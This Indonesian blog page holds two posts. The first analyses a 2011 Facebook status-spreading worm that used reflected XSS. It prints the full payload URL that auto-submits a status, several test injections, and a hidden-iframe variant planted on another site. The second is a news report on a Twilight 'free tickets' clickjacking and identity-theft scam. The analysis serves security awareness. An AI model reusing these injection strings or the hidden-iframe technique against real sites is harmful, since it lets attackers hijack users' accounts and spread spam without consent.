Tampilkan postingan dengan label Facebook. Tampilkan semua postingan
Tampilkan postingan dengan label Facebook. Tampilkan semua postingan

Sabtu, 17 Desember 2011

Memahami Teknik Penyebaran Status Berantai di Facebook

share


Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.

Analisa
Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
URL tersebut akan saya pecah menjadi 3 bagian:
  • http://m.facebook.com/connect/prompt_feed.php
  • ?display=wap&user_message_prompt=
  • '<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.
The Prompt
Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status
Dari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”, “Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.
Reflected Cross Site Scripting
Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?
Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<font color=red><h1>Hello!!</h1></font>
Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPpFwwRwnC4m8KdOITzA9O8AYMbwfgkShe-v6GbPi5CZAWexeskPwoWCFn4cEyZ3qDi9kPtlauVIy2M81clazN35r1ThcnKaG4J0f6mj-KFol5h3h14GlXknN_JQxQQ59HeAL6f6bENv8/s320/Hacked.jpg"/>
Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:
<script>prompt("Enter your PIN");</script>
Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai response HTTP).
The Payload
Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.
Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:
user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.
Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis:

Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.
Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.
Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.
Varian Lain dengan IFRAME
Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.
Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.
<iframe id="CrazyDaVinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}</script>"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis</title>
<meta name="description" content="Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet" />
Perhatikan pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap halaman di web tersebut. Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka dia akan melakukan update status berkali-kali.
Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada halaman web yang tampak normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin curiga bila menerima link yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga bila menerima url panjang, apalagi domainnya tampak seperti situs baik-baik.

Jumat, 16 Desember 2011

Awas, Jebakan Terbaru di Facebook

share


Clickjacking, metode jebakan yang biasa digunakan untuk menyebarkan virus, malware, atau mencuri identitas di jejaring sosial kembali marak. Kali ini, Trend Micro, perusahaan keamanan IT, cloud, dan mobile menemukan clickjacking yang menyasar ke dalam pengguna Facebook.

Pengguna yang mendapatkan serbuan jebakan tersebar di beberapa negara, termasuk Indonesia. Adapun jebakan clickjacking hadir dalam bentuk “tiket gratis” menjelang premier-nya film box office terbaru dunia, Twilight Saga: Breaking Dawn Part 2 yang tengah dinantikan oleh jutaan fans.

Sebuah foto yang memajang sosok Robert Pattinson dan Kristen Stewart, dua pemeran utama film tersebut, dijadikan sebagai alat pancingan. Foto itu datang bersama dengan link dan disebarkan lewat Facebook.

“Dengan mengusung judul “Get A Free Tickets to Twilight Breaking Dawn Part 2!” pengguna Facebook dipancing untuk mengklik foto dan tautannya,” kata juru bicara Trend Micro, Senin 5 September 2011. “Sebaiknya jangan percaya begitu saja, lalu mengklik “tiket gratis” yang ditawarkan itu,” ucapnya.

Jika pengguna mengklik tombol “Share Link,” maka postingan tersebut otomatis akan di-share di wall pengguna agar menjaring lebih banyak korban. Dan jika gambar atau teks diklik, pengguna akan diarahkan ke sebuah halaman survei untuk diminta mengisi alamat email.

Setelah memasukkan alamat email, sebuah halaman konfirmasi akan muncul yang akan meminta pengguna memberikan informasi pribadi lebih banyak, seperti nomor telepon, alamat email, dan tanggal lahir.

“Mereka yang mengklik dan mengisi laman ini akan diarahkan ke sebuah halaman survei palsu yang motifnya berupa pencurian identitas,” sebut Trend Micro.

Beberapa waktu lalu, muncul pula jebakan klik video “Badai topan Hurricane Irene” di Facebook, dengan modus yang kurang lebih sama dengan jebakan klik tiket gratis Twilight Saga. Karena itu, Trend Micro menyarankan agar pengguna Facebook berhati-hati saat beraktivitas di social media. (art)
• VIVAnews

 
Design by Andalas.net Jombang | Bloggerized by Pröfęsör Muåmår Abdûh